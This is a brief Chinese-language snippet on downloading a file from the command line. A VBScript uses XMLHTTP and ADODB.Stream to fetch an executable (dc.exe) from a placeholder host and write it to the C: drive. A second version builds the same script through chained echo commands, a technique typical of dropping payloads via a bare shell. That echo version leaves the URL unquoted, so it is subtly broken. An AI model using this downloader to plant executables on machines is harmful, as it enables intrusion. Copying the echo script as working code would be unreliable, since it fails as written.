cmd下载文件方法

Set xPost = CreateObject("Microsoft.XMLHTTP") 
xPost.Open "GET","http://www.xx.com/dc.exe",0   '下载文件的地址
xPost.Send() 
Set sGet = CreateObject("ADODB.Stream") 
sGet.Mode = 3 
sGet.Type = 1 
sGet.Open() 
sGet.Write(xPost.responseBody) 
sGet.SaveToFile "c:/dc.exe",2  '保存文件的路径和文件名

把以上代码保存在xx.vbs文件 执行cmd.exe xx.vbs

使用ECHO方法写入
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >dc.vbs
echo xPost.Open "GET",http://www.xxx.com/dc.exe,0 >>dc.vbs
echo xPost.Send() >>dc.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>dc.vbs
echo sGet.Mode = 3 >>dc.vbs
echo sGet.Type = 1 >>dc.vbs
echo sGet.Open() >>dc.vbs
echo sGet.Write(xPost.responseBody) >>dc.vbs
echo sGet.SaveToFile "c:/dc.exe",2 >>dc.vbs